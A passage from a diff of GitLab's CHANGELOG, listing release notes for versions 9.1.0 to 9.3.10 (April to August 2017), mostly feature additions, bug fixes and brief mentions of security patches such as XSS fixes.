+- Remove hidden symlinks from project import files.
+- Disallow Git URLs that include a username or hostname beginning with a non-alphanumeric character.
+
+## 9.3.9 (2017-07-20)
+
+- Fix an infinite loop when handling user-supplied regular expressions.
+
+## 9.3.8 (2017-07-19)
+
+- Improve support for external issue references. !12485
+- Renders 404 if given project is not readable by the user on Todos dashboard.
+- Use uploads/system directory for personal snippets.
+- Remove uploads/appearance symlink. A leftover from a previous migration.
+
+## 9.3.7 (2017-07-18)
+
+- Prevent bad data being added to application settings when Redis is unavailable. !12750
+- Return `is_admin` attribute in the GET /user endpoint for admins. !12811
+
+## 9.3.6 (2017-07-12)
+
+- Fix API Scoping. !12300
+- Username and password are no longer stripped from import url on mirror update. !12725
+- Fix issues with non-UTF8 filenames by always fixing the encoding of tree and blob paths.
+- Fixed GFM references not being included when updating issues inline.
+
+## 9.3.5 (2017-07-05)
+
+- Remove "Remove from board" button from backlog and closed list. !12430
+- Do not delete protected branches when deleting all merged branches. !12624
+- Set default for Remove source branch to false.
+- Prevent accidental deletion of protected MR source branch by repeating checks before actual deletion.
+- Expires full_path cache after a repository is renamed/transferred.
+
+## 9.3.4 (2017-07-03)
+
+- Update gitlab-shell to 5.1.1 !12615
+
+## 9.3.3 (2017-06-30)
+
+- Fix head pipeline stored in merge request for external pipelines. !12478
+- Bring back branches badge to main project page. !12548
+- Fix diff of requirements.txt file by not matching newlines as part of package names.
+- Perform housekeeping only when an import of a fresh project is completed.
+- Fixed issue boards closed list not showing all closed issues.
+- Fixed multi-line markdown tooltip buttons in issue edit form.
+
+## 9.3.2 (2017-06-27)
+
+- API: Fix optional arguments for POST :id/variables. !12474
+- Bump premailer-rails gem to 1.9.7 and its dependencies to prevent network retrieval of assets.
+
+## 9.3.1 (2017-06-26)
+
+- Fix reversed breadcrumb order for nested groups. !12322
+- Fix 500 when failing to create private group. !12394
+- Fix linking to line number on side-by-side diff creating empty discussion box.
+- Don't match tilde and exclamation mark as part of requirements.txt package name.
+- Perform project housekeeping after importing projects.
+- Fixed ctrl+enter not submit issue edit form.
+
+## 9.3.0 (2017-06-22)
+
+- Refactored gitlab:app:check into SystemCheck liberary and improve some checks. !9173
+- Add an ability to cancel attaching file and redesign attaching files UI. !9431 (blackst0ne)
+- Add Aliyun OSS as the backup storage provider. !9721 (Yuanfei Zhu)
+- Add support for find_local_branches GRPC from Gitaly. !10059
+- Allow manual bypass of auto_sign_in_with_provider with a new param. !10187 (Maxime Besson)
+- Redirect to user's keys index instead of user's index after a key is deleted in the admin. !10227 (Cyril Jouve)
+- Changed Blame to Annotate in the UI to promote blameless culture. !10378 (Ilya Vassilevsky)
+- Implement ability to update deploy keys. !10383 (Alexander Randa)
+- Allow numeric values in gitlab-ci.yml. !10607 (blackst0ne)
+- Add a feature test for Unicode trace. !10736 (dosuken123)
+- Notes: Warning message should go away once resolved. !10823 (Jacopo Beschi @jacopo-beschi)
+- Project authorizations are calculated much faster when using PostgreSQL, and nested groups support for MySQL has been removed
+. !10885
+- Fix long urls in the title of commit. !10938 (Alexander Randa)
+- Update gem sidekiq-cron from 0.4.4 to 0.6.0 and rufus-scheduler from 3.1.10 to 3.4.0. !10976 (dosuken123)
+- Use relative paths for group/project/user avatars. !11001 (blackst0ne)
+- Enable cancelling non-HEAD pending pipelines by default for all projects. !11023
+- Implement web hook logging. !11027 (Alexander Randa)
+- Add indices for auto_canceled_by_id for ci_pipelines and ci_builds on PostgreSQL. !11034
+- Add post-deploy migration to clean up projects in `pending_delete` state. !11044
+- Limit User's trackable attributes, like `current_sign_in_at`, to update at most once/hour. !11053
+- Disallow multiple selections for Milestone dropdown. !11084
+- Link to commit author user page from pipelines. !11100
+- Fix the last coverage in trace log should be extracted. !11128 (dosuken123)
+- Remove redirect for old issue url containing id instead of iid. !11135 (blackst0ne)
+- Backported new SystemHook event: `repository_update`. !11140
+- Keep input data after creating a tag that already exists. !11155
+- Fix support for external CI services. !11176
+- Translate backend for Project & Repository pages. !11183
+- Fix LaTeX formatting for AsciiDoc wiki. !11212
+- Add foreign key for pipeline schedule owner. !11233
+- Print Go version in rake gitlab:env:info. !11241
+- Include the blob content when printing a blob page. !11247
+- Sync email address from specified omniauth provider. !11268 (Robin Bobbitt)
+- Disable reference prefixes in notes for Snippets. !11278
+- Rename build_events to job_events. !11287
+- Add API support for pipeline schedule. !11307 (dosuken123)
+- Use route.cache_key for project list cache key. !11325
+- Make environment table realtime. !11333
+- Cache npm modules between pipelines with yarn to speed up setup-test-env. !11343
+- Allow GitLab instance to start when InfluxDB hostname cannot be resolved. !11356
+- Add ConvDev Index page to admin area. !11377
+- Fix Git-over-HTTP error statuses and improve error messages. !11398
+- Renamed users 'Audit Log'' to 'Authentication Log'. !11400
+- Style people in issuable search bar. !11402
+- Change /builds in the URL to /-/jobs. Backward URLs were also added. !11407
+- Update password field label while editing service settings. !11431
+- Add an optional performance bar to view performance metrics for the current page. !11439
+- Update task_list to version 2.0.0. !11525 (Jared Deckard <jared.deckard@gmail.com>)
+- Avoid resource intensive login checks if password is not provided. !11537 (Horatiu Eugen Vlad)
+- Allow numeric pages domain. !11550
+- Exclude manual actions when checking if pipeline can be canceled. !11562
+- Add server uptime to System Info page in admin dashboard. !11590 (Justin Boltz)
+- Simplify testing and saving service integrations. !11599
+- Fixed handling of the `can_push` attribute in the v3 deploy_keys api. !11607 (Richard Clamp)
+- Improve user experience around slash commands in instant comments. !11612
+- Show current user immediately in issuable filters. !11630
+- Add extra context-sensitive functionality for the top right menu button. !11632
+- Reorder Issue action buttons in order of usability. !11642
+- Expose atom links with an RSS token instead of using the private token. !11647 (Alexis Reigel)
+- Respect merge, instead of push, permissions for protected actions. !11648
+- Job details page update real time. !11651
+- Improve performance of ProjectFinder used in /projects API endpoint. !11666
+- Remove redundant data-turbolink attributes from links. !11672 (blackst0ne)
+- Minimum postgresql version is now 9.2. !11677
+- Add protected variables which would only be passed to protected branches or protected tags. !11688
+- Introduce optimistic locking support via optional parameter last_commit_sha on File Update API. !11694 (electroma)
+- Add $CI_ENVIRONMENT_URL to predefined variables for pipelines. !11695
+- Simplify project repository settings page. !11698
+- Fix pipeline_schedules pages throwing error 500. !11706 (dosuken123)
+- Add performance deltas between app deployments on Merge Request widget. !11730
+- Add feature toggles and API endpoints for admins. !11747
+- Replace 'starred_projects.feature' spinach test with an rspec analog. !11752 (blackst0ne)
+- Introduce an Events API. !11755
+- Display Shared Runner status in Admin Dashboard. !11783 (Ivan Chernov)
+- Persist pipeline stages in the database. !11790
+- Revert the feature that would include the current user's username in the HTTP clone URL. !11792
+- Enable Gitaly by default in installations from source. !11796
+- Use zopfli compression for frontend assets. !11798
+- Add tag_list param to project api. !11799 (Ivan Chernov)
+- Add changelog for improved Registry description. !11816
+- Automatically adjust project settings to match changes in project visibility. !11831
+- Add slugify project path to CI environment variables. !11838 (Ivan Chernov)
+- Add all pipeline sources as special keywords to 'only' and 'except'. !11844 (Filip Krakowski)
+- Allow pulling of container images using personal access tokens. !11845
+- Expose import_status in Projects API. !11851 (Robin Bobbitt)
+- Allow admins to delete users from the admin users page. !11852
+- Allow users to be hard-deleted from the API. !11853
+- Fix hard-deleting users when they have authored issues. !11855
+- Fix missing optional path parameter in "Create project for user" API. !11868
+- Allow users to be hard-deleted from the admin panel. !11874
+- Add a Rake task to aid in rotating otp_key_base. !11881
+- Fix submodule link to then project under subgroup. !11906
+- Fix binary encoding error on MR diffs. !11929
+- Limit non-administrators to adding 100 members at a time to groups and projects. !11940
+- add bulgarian translation of cycle analytics page to I18N. !11958 (Lyubomir Vasilev)
+- Make backup task to continue on corrupt repositories. !11962
+- Fix incorrect ETag cache key when relative instance URL is used. !11964
+- Reinstate is_admin flag in users api when authenticated user is an admin. !12211 (rickettm)
+- Fix edit button for deploy keys available from other projects. !12301 (Alexander Randa)
+- Fix passing CI_ENVIRONMENT_NAME and CI_ENVIRONMENT_SLUG for CI_ENVIRONMENT_URL. !12344
+- Disable environment list refresh due to bug https://gitlab.com/gitlab-org/gitlab/issues/2677. !12347
+- Standardize timeline note margins across different viewport sizes. !12364
+- Fix Ordered Task List Items. !31483 (Jared Deckard <jared.deckard@gmail.com>)
+- Upgrade dependency to Go 1.8.3. !31943
+- Add prometheus metrics on pipeline creation.
+- Fix etag route not being a match for environments.
+- Sort folder for environments.
+- Support descriptions for snippets.
+- Hide clone panel and file list when user is only a guest. (James Clark)
+- Don’t create comment on JIRA if it already exists for the entity.
+- Update Dashboard Groups UI with better support for subgroups.
+- Confirm Project forking behaviour via the API.
+- Add prometheus based metrics collection to gitlab webapp.
+- Fix: Wiki is not searchable with Guest permissions.
+- Center all empty states.
+- Remove 'New issue' button when issues search returns no results.
+- Add API URL to JIRA settings.
+- animate adding issue to boards.
+- Update session cookie key name to be unique to instance in development.
+- Single click on filter to open filtered search dropdown.
+- Makes header information of pipeline show page realtine.
+- Creates a mediator for pipeline details vue in order to mount several vue apps with the same data.
+- Scope issue/merge request recent searches to project.
+- Increase individual diff collapse limit to 100 KB, and render limit to 200 KB.
+- Fix Pipelines table empty state - only render empty state if we receive 0 pipelines.
+- Make New environment empty state btn lowercase.
+- Removes duplicate environment variable in documentation.
+- Change links in issuable meta to black.
+- Fix border-bottom for project activity tab.
+- Adds new icon for CI skipped status.
+- Create equal padding for emoji.
+- Use briefcase icon for company in profile page.
+- Remove overflow from comment form for confidential issues and vertically aligns confidential issue icon.
+- Keep trailing newline when resolving conflicts by picking sides.
+- Fix /unsubscribe slash command creating extra todos when you were already mentioned in an issue.
+- Fix math rendering on blob pages.
+- Allow group reporters to manage group labels.
+- Use pre-wrap for commit messages to keep lists indented.
+- Count badges depend on translucent color to better adjust to different background colors and permission badges now feature a pill shaped design similar to labels.
+- Allow reporters to promote project labels to group labels.
+- Enabled keyboard shortcuts on artifacts pages.
+- Perform filtered search when state tab is changed.
+- Remove duplication for sharing projects with groups in project settings.
+- Change order of commits ahead and behind on divergence graph for branch list view.
+- Creates CI Header component for Pipelines and Jobs details pages.
+- Invalidate cache for issue and MR counters more granularly.
+- disable blocked manual actions.
+- Load tree readme asynchronously.
+- Display extra info about files on .gitlab-ci.yml, .gitlab/route-map.yml and LICENSE blob pages.
+- Fix replying to a commit discussion displayed in the context of an MR.
+- Consistently use monospace font for commit SHAs and branch and tag names.
+- Consistently display last push event widget.
+- Don't copy empty elements that were not selected on purpose as GFM.
+- Copy as GFM even when parts of other elements are selected.
+- Autolink package names in Gemfile.
+- Resolve N+1 query issue with discussions.
+- Don't match email addresses or foo@bar as user references.
+- Fix title of discussion jump button at top of page.
+- Don't return nil for missing objects from parser cache.
+- Make .gitmodules parsing more resilient to syntax errors.
+- Add username parameter to gravatar URL.
+- Autolink package names in more dependency files.
+- Return nil when looking up config for unknown LDAP provider.
+- Add system note with link to diff comparison when MR discussion becomes outdated.
+- Don't wrap pasted code when it's already inside code tags.
+- Revert 'New file from interface on existing branch'.
+- Show last commit for current tree on tree page.
+- Add documentation about adding foreign keys.
+- add username field to push webhook. (David Turner)
+- Rename CI/CD Pipelines to Pipelines in the project settings.
+- Make environment tables responsive.
+- Expand/collapse backlog & closed lists in issue boards.
+- Fix GitHub importer performance on branch existence check.
+- Fix counter cache for acts as taggable.
+- Github - Fix token interpolation when cloning wiki repository.
+- Fix token interpolation when setting the Github remote.
+- Fix N+1 queries for non-members in comment threads.
+- Fix terminals support for Kubernetes Service.
+- Fix: A diff comment on a change at last line of a file shows as two comments in discussion.
+- Instrument MergeRequestDiff#load_commits.
+- Introduce source to Pipeline entity.
+- Fixed create new label form in issue form not working for sub-group projects.
+- Fixed style on unsubscribe page. (Gustav Ernberg)
+- Enables inline editing for an issues title & description.
+- Ask for an example project for bug reports.
+- Add summary lines for collapsed details in the bug report template.
+- Prevent commits from upstream repositories to be re-processed by forks.
+- Avoid repeated queries for pipeline builds on merge requests.
+- Preloads head pipeline for merge request collection.
+- Handle head pipeline when creating merge requests.
+- Migrate artifacts to a new path.
+- Rescue OpenSSL::SSL::SSLError in JiraService & IssueTrackerService.
+- Repository browser: handle in-repository submodule urls. (David Turner)
+- Prevent project transfers if a new group is not selected.
+- Allow 'no one' as an option for allowed to merge on a procted branch.
+- Reduce time spent waiting for certain Sidekiq jobs to complete.
+- Refactor ProjectsFinder#init_collection to produce more efficient queries for retrieving projects.
+- Remove unused code and uses underscore.
+- Restricts search projects dropdown to group projects when group is selected.
+- Properly handle container registry redirects to fix metadata stored on a S3 backend.
+- Fix LFS timeouts when trying to save large files.
+- Set artifact working directory to be in the destination store to prevent unnecessary I/O.
+- Strip trailing whitespaces in submodule URLs.
+- Make sure reCAPTCHA configuration is loaded when spam checks are initiated.
+- Fix up arrow not editing last discussion comment.
+- Added application readiness endpoints to the monitoring health check admin view.
+- Use wait_for_requests for both ajax and Vue requests.
+- Cleanup ci_variables schema and table.
+- Remove foreigh key on ci_trigger_schedules only if it exists.
+- Allow translation of Pipeline Schedules.
+
+## 9.2.10 (2017-08-09)
+
+- Remove hidden symlinks from project import files.
+- Disallow Git URLs that include a username or hostname beginning with a non-alphanumeric character.
+
+## 9.2.9 (2017-07-20)
+
+- Fix an infinite loop when handling user-supplied regular expressions.
+
+## 9.2.8 (2017-07-19)
+
+- Improve support for external issue references. !12485
+- Renders 404 if given project is not readable by the user on Todos dashboard.
+- Fix incorrect project authorizations.
+- Remove uploads/appearance symlink. A leftover from a previous migration.
+
+## 9.2.7 (2017-06-21)
+
+- Reinstate is_admin flag in users api when authenticated user is an admin. !12211 (rickettm)
+
+## 9.2.6 (2017-06-16)
+
+- Fix the last coverage in trace log should be extracted. !11128 (dosuken123)
+- Respect merge, instead of push, permissions for protected actions. !11648
+- Fix pipeline_schedules pages throwing error 500. !11706 (dosuken123)
+- Make backup task to continue on corrupt repositories. !11962
+- Fix incorrect ETag cache key when relative instance URL is used. !11964
+- Fix math rendering on blob pages.
+- Invalidate cache for issue and MR counters more granularly.
+- Fix terminals support for Kubernetes Service.
+- Fix LFS timeouts when trying to save large files.
+- Strip trailing whitespaces in submodule URLs.
+- Make sure reCAPTCHA configuration is loaded when spam checks are initiated.
+- Remove foreigh key on ci_trigger_schedules only if it exists.
+
+## 9.2.5 (2017-06-07)
+
+- No changes.
+
+## 9.2.4 (2017-06-02)
+
+- Fix visibility when referencing snippets.
+
+## 9.2.3 (2017-05-31)
+
+- Move uploads from 'public/uploads' to 'public/uploads/system'.
+- Escapes html content before appending it to the DOM.
+- Restrict API X-Frame-Options to same origin.
+- Allow users autocomplete by author_id only for authenticated users.
+
+## 9.2.2 (2017-05-25)
+
+- Fix issue where real time pipelines were not cached. !11615
+- Make all notes use equal padding.
+
+## 9.2.1 (2017-05-23)
+
+- Fix placement of note emoji on hover.
+- Fix migration for older PostgreSQL versions.
+
+## 9.2.0 (2017-05-22)
+
+- API: Filter merge requests by milestone and labels. (10924)
+- Reset New branch button when issue state changes. !5962 (winniehell)
+- Frontend prevent authored votes. !6260 (Barthc)
+- Change issues list in MR to natural sorting. !7110 (Jeff Stubler)
+- Add animations to all the dropdowns. !8419
+- Add update time to project lists. !8514 (Jeff Stubler)
+- Remove view fragment caching for project READMEs. !8838
+- API: Add parameters to allow filtering project pipelines. !9367 (dosuken123)
+- Database SSL support for backup script. !9715 (Guillaume Simon)
+- Fix UI inconsistency different files view (find file button missing). !9847 (TM Lee)
+- Display slash commands outcome when previewing Markdown. !10054 (Rares Sfirlogea)
+- Resolve "Add more tests for spec/controllers/projects/builds_controller_spec.rb". !10244 (dosuken123)
+- Add keyboard edit shotcut for wiki. !10245 (George Andrinopoulos)
+- Redirect old links after renaming a user/group/project. !10370
+- Add system note on description change of issue/merge request. !10392 (blackst0ne)
+- Improve validation of namespace & project paths. !10413
+- Add board_move slash command. !10433 (Alex Sanford)
+- Update all instances of the old loading icon. !10490 (Andrew Torres)
+- Implement protected manual actions. !10494
+- Implement search by extern_uid in Users API. !10509 (Robin Bobbitt)
+- add support for .vue templates. !10517
+- Only add newlines between multiple uploads. !10545
+- Added balsamiq file viewer. !10564
+- Remove unnecessary test helpers includes. !10567 (Jacopo Beschi @jacopo-beschi)
+- Add tooltip to header of Done board. !10574 (Andy Brown)
+- Fix redundant cache expiration in Repository. !10575 (blackst0ne)
+- Add hashie-forbidden_attributes gem. !10579 (Andy Brown)
+- Add spec for schema.rb. !10580 (blackst0ne)
+- Keep webpack-dev-server process functional across branch changes. !10581
+- Turns true value and false value database methods from instance to class methods. !10583
+- Improve text on todo list when the todo action comes from yourself. !10594 (Jacopo Beschi @jacopo-beschi)
+- Replace rake cache:clear:db with an automatic mechanism. !10597
+- Remove heading and trailing spaces from label's color and title. !10603 (blackst0ne)
+- Add webpack_bundle_tag helper to improve non-localhost GDK configurations. !10604
+- Added quick-update (fade-in) animation to newly rendered notes. !10623
+- Fix rendering emoji inside a string. !10647 (blackst0ne)
+- Dockerfiles templates are imported from gitlab.com/gitlab-org/Dockerfile. !10663
+- Add support for i18n on Cycle Analytics page. !10669
+- Allow OAuth clients to push code. !10677
+- Add configurable timeout for git fetch and clone operations. !10697
+- Move labels of search results from bottom to title. !10705 (dr)
+- Added build failures summary page for pipelines. !10719
+- Expand/collapse button -> Change to make it look like a toggle. !10720 (Jacopo Beschi @jacopo-beschi)
+- Decrease ABC threshold to 57.08. !10724 (Rydkin Maxim)
+- Removed target blank from the metrics action inside the environments list. !10726
+- Remove Repository#version method and tests. !10734
+- Refactor Admin::GroupsController#members_update method and add some specs. !10735
+- Refactor code that creates project/group members. !10735
+- Add Slack slash command api to services documentation and rearrange order and cases. !10757 (TM Lee)
+- Disable test settings on chat notification services when repository is empty. !10759
+- Add support for instantly updating comments. !10760
+- Show checkmark on current assignee in assignee dropdown. !10767
+- Remove pipeline controls for last deployment from Environment monitoring page. !10769
+- Pipeline view updates in near real time. !10777
+- Fetch pipeline status in batch from redis. !10785
+- Add username to activity atom feed. !10802 (winniehell)
+- Support Markdown previews for personal snippets. !10810
+- Implement ability to edit hooks. !10816 (Alexander Randa)
+- Allow admins to sudo to blocked users via the API. !10842
+- Don't display the is_admin flag in most API responses. !10846
+- Refactor add_users method for project and group. !10850
+- Pipeline schedules got a new and improved UI. !10853
+- Fix updating merge_when_build_succeeds via merge API endpoint. !10873
+- Add index on ci_builds.user_id. !10874 (blackst0ne)
+- Improves test settings for chat notification services for empty projects. !10886
+- Change Git commit command in Existing folder to git commit -m. !10900 (TM Lee)
+- Show group name on flash container when group is created from Admin area. !10905
+- Make markdown tables thinner. !10909 (blackst0ne)
+- Ensure namespace owner is Master of project upon creation. !10910
+- Updated CI status favicons to include the tanuki. !10923
+- Decrease Cyclomatic Complexity threshold to 16. !10928 (Rydkin Maxim)
+- Replace header merge request icon. !10932 (blackst0ne)
+- Fix error on CI/CD Settings page related to invalid pipeline trigger. !10948 (dosuken123)
+- rickettm Add repo parameter to gitaly:install and workhorse:install rake tasks. !10979 (M. Ricketts)
+- Generate and handle a gl_repository param to pass around components. !10992
+- Prevent 500 errors caused by testing the Prometheus service. !10994
+- Disable navigation to Project-level pages configuration when Pages disabled. !11008
+- Fix caching large snippet HTML content on MySQL databases. !11024
+- Hide external environment URL button on terminal page if URL is not defined. !11029
+- Always show the latest pipeline information in the commit box. !11038
+- Fix misaligned buttons in wiki pages. !11043
+- Colorize labels in search field. !11047
+- Sort the network graph both by commit date and topographically. !11057
+- Remove carriage returns from commit messages. !11077
+- Add tooltips to user contribution graph key. !11138
+- Add German translation for Cycle Analytics. !11161
+- Fix skipped manual actions problem when processing the pipeline. !11164
+- Fix cross referencing for private and internal projects. !11243
+- Add state to MR widget that prevent merges when branch changes after page load. !11316
+- Fixes the 500 when accessing customized appearance logos. !11479 (Alexis Reigel)
+- Implement Users::BuildService. !30349 (George Andrinopoulos)
+- Display comments for personal snippets.
+- Support comments for personal snippets.
+- Support uploaders for personal snippets comments.
+- Handle incoming emails from aliases correctly.
+- Re-rewrites pipeline graph in vue to support realtime data updates.
+- Add issues/:iid/closed_by api endpoint. (mhasbini)
+- Disallow merge requests from fork when source project have disabled merge requests. (mhasbini)
+- Improved UX on project members settings view.
+- Clear emoji search in awards menu after picking emoji.
+- Cleanup markdown spacing.
+- Separate CE params on Grape API.
+- Allow to create new branch and empty WIP merge request from issue page.
+- Prevent people from creating branches if they don't have persmission to push.
+- Redesign auth 422 page.
+- 29595 Update callout design.
+- Detect already enabled DeployKeys in EnableDeployKeyService.
+- Add transparent top-border to the hover state of done todos.
+- Refactor all CI vue badges to use the same vue component.
+- Update note edits in real-time.
+- Add button to delete filters from filtered search bar.
+- Added profile name to user dropdown.
+- Display GitLab Pages status in Admin Dashboard.
+- Fix label creation from issuable for subgroup projects.
+- Vertically align mini pipeline stage container.
+- prevent nav tabs from wrapping to new line.
+- Fix environments vue architecture to match documentation.
+- Enforce project features when searching blobs and wikis.
+- fix inline diff copy in firefox.
+- Note Ghost user and refer to user deletion documentation.
+- Expose project statistics on single requests via the API.
+- Job dropdown of pipeline mini graph updates in realtime when its opened.
+- Add default margin-top to user request table on project members page.
+- Add tooltips to note action buttons.
+- Remove `#` being added on commit sha in MR widget.
+- Remove spinner from loading comment.
+- Fixes an issue preventing screen readers from reading some icons.
+- Load milestone tabs asynchronously to increase initial load performance.
+- [BB Importer] Save the error trace and the whole raw document to debug problems easier.
+- Fixed branches dropdown rendering branch names as HTML.
+- Make Asciidoc & other markup go through pipeline to prevent XSS.
+- Validate URLs in markdown using URI to detect the host correctly.
+- Side-by-side view in commits correcly expands full window width.
+- Deploy keys load are loaded async.
+- Fixed spacing of discussion submit buttons.
+- Add hostname to usage ping.
+- Allow usage ping to be disabled completely in gitlab.yml.
+- Add artifact file page that uses the blob viewer.
+- Add breadcrumb, build header and pipelines submenu to artifacts browser.
+- Show Raw button as Download for binary files.
+- Add Source/Rendered switch to blobs for SVG, Markdown, Asciidoc and other text files that can be rendered.
+- Catch all URI errors in ExternalLinkFilter.
+- Allow commenting on older versions of the diff and comparisons between diff versions.
+- Paste a copied MR source branch name as code when pasted into a GFM form.
+- Fix commenting on an existing discussion on an unchanged line that is no longer in the diff.
+- Link to outdated diff in older MR version from outdated diff discussion.
+- Bump Sidekiq to 5.0.0.
+- Use blob viewers for snippets.
+- Add download button to project snippets.
+- Display video blobs in-line like images.
+- Gracefully handle failures for incoming emails which do not match on the To header, and have no References header.
+- Added title to award emoji buttons.
+- Fixed alignment of empty task list items.
+- Removed the target=_blank from the monitoring component to prevent opening a new tab.
+- Fix new admin integrations not taking effect on existing projects.
+- Prevent further repository corruption when resolving conflicts from a fork where both the fork and upstream projects require housekeeping.
+- Add missing project attributes to Import/Export.
+- Remove N+1 queries in processing MR references.
+- Fixed wrong method call on notify_post_receive. (Luigi Leoni)
+- Fixed search terms not correctly highlighting.
+- Refactored the anchor tag to remove the trailing space in the target branch.
+- Prevent user profile tabs to display raw json when going back and forward in browser history.
+- Add index to webhooks type column.
+- Change line-height on build-header so elements don't overlap. (Dino Maric)
+- Fix dead link to GDK on the README page. (Dino Maric)
+- Fixued preview shortcut focusing wrong preview tab.
+- Issue assignees are now removed without loading unnecessary data into memory.
+- Refactor backup/restore docs.
+- Fixed group issues assignee dropdown loading all users.
+- Fix for XSS in project import view caused by Hamlit filter usage.
+- Fixed avatar not display on issue boards when Gravatar is disabled.
+- Fixed create new label form in issue boards sidebar.
+- Add realtime descriptions to issue show pages.
+- Issue API change: assignee_id parameter and assignee object in a response have been deprecated.
+- Fixed bug where merge request JSON would be displayed.
+- Fixed Prometheus monitoring graphs not showing empty states in certain scenarios.
+- Removed the milestone references from the milestone views.
+- Show sizes correctly in merge requests when diffs overflow.
+- Fix notify_only_default_branch check for Slack service.
+- Make the `gitlab:gitlab_shell:check` task check that the repositories storage path are owned by the `root` group.
+- Optimise pipelines.json endpoint.
+- Pass docsUrl to pipeline schedules callout component.
+- Fixed alignment of CI icon in issues related branches.
+- Set the issuable sidebar to remain closed for mobile devices.
+- Sanitize submodule URLs before linking to them in the file tree view.
+- Upgrade Sidekiq to 4.2.10.
+- Cache Routable#full_path in RequestStore to reduce duplicate route loads.
+- Refactor snippets finder & dont return internal snippets for external users.
+- Fix snippets visibility for show action - external users can not see internal snippets.
+- Store retried in database for CI Builds.
+- repository browser: handle submodule urls that don't end with .git. (David Turner)
+- Fixed tags sort from defaulting to empty.
+- Do not show private groups on subgroups page if user doesn't have access to.
+- Make MR link in build sidebar bold.
+- Unassign all Issues and Merge Requests when member leaves a team.
+- Fix preemptive scroll bar on user activity calendar.
+- Pipeline chat notifications convert seconds to minutes and hours.
+
+## 9.1.10 (2017-08-09)
+
+- Remove hidden symlinks from project import files.
+- Disallow Git URLs that include a username or hostname beginning with a non-alphanumeric character.
+
+## 9.1.9 (2017-07-20)
+
+- Fix an infinite loop when handling user-supplied regular expressions.
+
+## 9.1.8 (2017-07-19)
+
+- Improve support for external issue references. !12485
+- Renders 404 if given project is not readable by the user on Todos dashboard.
+- Fix incorrect project authorizations.
+- Remove uploads/appearance symlink. A leftover from a previous migration.
+
+## 9.1.7 (2017-06-07)
+
+- No changes.
+
+## 9.1.6 (2017-06-02)
+
+- Fix visibility when referencing snippets.
+
+## 9.1.5 (2017-05-31)
+
+- Move uploads from 'public/uploads' to 'public/uploads/system'.
+- Restrict API X-Frame-Options to same origin.
+- Allow users autocomplete by author_id only for authenticated users.
+
+## 9.1.4 (2017-05-12)
+
+- Fix error on CI/CD Settings page related to invalid pipeline trigger. !10948 (dosuken123)
+- Sort the network graph both by commit date and topographically. !11057
+- Fix cross referencing for private and internal projects. !11243
+- Handle incoming emails from aliases correctly.
+- Gracefully handle failures for incoming emails which do not match on the To header, and have no References header.
+- Add missing project attributes to Import/Export.
+- Fixed search terms not correctly highlighting.
+- Fixed bug where merge request JSON would be displayed.
+
+## 9.1.3 (2017-05-05)
+
+- Do not show private groups on subgroups page if user doesn't have access to.
+- Enforce project features when searching blobs and wikis.
+- Fixed branches dropdown rendering branch names as HTML.
+- Make Asciidoc & other markup go through pipeline to prevent XSS.
+- Validate URLs in markdown using URI to detect the host correctly.
+- Fix for XSS in project import view caused by Hamlit filter usage.
+- Sanitize submodule URLs before linking to them in the file tree view.
+- Refactor snippets finder & dont return internal snippets for external users.
+- Fix snippets visibility for show action - external users can not see internal snippets.
+
+## 9.1.2 (2017-05-01)
+
+- Add index on ci_runners.contacted_at. !10876 (blackst0ne)
+- Fix pipeline events description for Slack and Mattermost integration. !10908
+- Fixed milestone sidebar showing incorrect number of MRs when collapsed. !10933
+- Fix ordering of commits in the network graph. !10936
+- Ensure the chat notifications service properly saves the "Notify only default branch" setting. !10959
+- Lazily sets UUID in ApplicationSetting for new installations.
+- Skip validation when creating internal (ghost, service desk) users.
+- Use GitLab Pages v0.4.1.
+
+## 9.1.1 (2017-04-26)
+
+- Add a transaction around move_issues_to_ghost_user. !10465
+- Properly expire cache for all MRs of a pipeline. !10770
+- Add sub-nav for Project Integration Services edit page. !10813
+- Fix missing duration for blocked pipelines. !10856
+- Fix lastest commit status text on main project page. !10863
+- Add index on ci_builds.updated_at. !10870 (blackst0ne)
+- Fix 500 error due to trying to show issues from pending deleting projects. !10906
+- Ensures that OAuth/LDAP/SAML users don't need to be confirmed.
+- Ensure replying to an individual note by email creates a note with its own discussion ID.
+- Fix OAuth, LDAP and SAML SSO when regular sign-ups are disabled.
+- Fix usage ping docs link from empty cohorts page.
+- Eliminate N+1 queries in loading namespaces for every issuable in milestones.
+
+## 9.1.0 (2017-04-22)
+
+- Add Jupyter notebook rendering !10017
+- Added merge requests empty state. !7342
+- Add option to start a new resolvable discussion in an MR. !7527
+- Hide form inputs for group member without editing rights. !7816
+- Create a new issue for a single discussion in a Merge Request. !8266 (Bob Van Landuyt)
+- Adding non_archived scope for counting projects. !8305 (Naveen Kumar)
+- Don't show links to tag a commit for users that are not permitted. !8407
+- New file from interface on existing branch. !8427 (Jacopo Beschi @jacopo-beschi)
+- Strip reference prefixes on branch creation. !8498 (Matthieu Tardy)
+- Support 2FA requirement per-group. !8763 (Markus Koller)
+- Add Undo to Todos in the Done tab. !8782 (Jacopo Beschi @jacopo-beschi)
+- Shows 'Go Back' link only when browser history is available. !9017
+- Implement user create service. !9220 (George Andrinopoulos)
+- Incorporate Gitaly client for refs service. !9291
+- Cancel pending pipelines if commits not HEAD. !9362 (Rydkin Maxim)
+- Add indication for closed or merged issuables in GFM. !9462 (Adam Buckland)
+- Periodically clean up temporary upload files to recover storage space. !9466 (blackst0ne)
+- Use toggle button to expand / collapse mulit-nested groups. !9501
+- Fixes dismissable error close is not visible enough. !9516
+- Fixes an issue in the new merge request form, where a tag would be selected instead of a branch when they have the same names. !9535 (Weiqing Chu)
+- Expose CI/CD status API endpoints with Gitlab::Ci::Status facility on pipeline, job and merge request for favicon. !9561 (dosuken123)
+- Use Gitaly for CommitController#show. !9629
+- Order milestone issues by position ascending in api. !9635 (George Andrinopoulos)
+- Convert Issue into ES6 class. !9636 (winniehell)
+- Link issuable reference to itself in meta-header. !9641 (mhasbini)
+- Add ability to disable Merge Request URL on push. !9663 (Alex Sanford)
+- ProjectsFinder should handle more options. !9682 (Jacopo Beschi @jacopo-beschi)
+- Fix create issue form buttons are misaligned on mobile. !9706 (TM Lee)
+- Labels support color names in backend. !9725 (Dongqing Hu)
+- Standardize on core-js for es2015 polyfills. !9749
+- Fix GitHub Import deleting branches for open PRs from a fork. !9758
+- Do not show LFS object when LFS is disabled. !9779 (Christopher Bartz)
+- Fix symlink icon in project tree. !9780 (mhasbini)
+- Fix bug when system hook for deploy key. !9796 (billy.lb)
+- Make authorized projects worker use a specific queue instead of the default one. !9813
+- Simplify trigger_docs build job for CE and EE. !9820 (winniehell)
+- Add `aria-label` for feature status accessibility. !9830
